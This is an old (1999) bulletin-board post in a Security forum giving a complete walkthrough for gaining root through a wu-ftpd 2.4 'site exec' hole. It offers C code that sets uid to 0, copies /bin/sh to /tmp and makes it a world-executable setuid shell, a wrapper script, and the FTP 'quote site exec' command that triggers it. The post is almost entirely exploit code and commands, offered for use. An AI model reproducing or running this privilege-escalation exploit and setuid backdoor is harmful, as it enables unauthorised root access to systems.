發信人: biff (大可), 信區: Security 

標  題: how to gain root access by wu-ftpd hole 

發信站: 武漢白云黃鶴站 (Sun Jun 13 15:00:00 1999), 站內信件 

  

This shows you how to use the wuftp2.4(1) hole to gain root. 

  

  

  

On the VICTIM system, compile the following C code: 

  

######## CUT HERE ####### 

  

main() 

  

{ 

  

setuid(0); 

  

seteuid(0); 

  

  

  

system("cp /bin/sh /tmp/suidroot"); 

  

system("chmod a+rwxs /tmp/suidroot"); 

  

} 

  

####### CUT HERE ####### 

  

  

  

Now create a shell script, called root.sh, that contains the following: 

  

  

  

####### CUT HERE ####### 

  

exec a.out      <----- a.out is the name of the compiled C code 

  

####### CUT HERE ####### 

  

  

  



Now, FTP localhost, login as your account on that system and: 

  

  

  

ftp> quote site exec sh root.sh 

  

  

  

Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp. 

  

  

  

  

  

--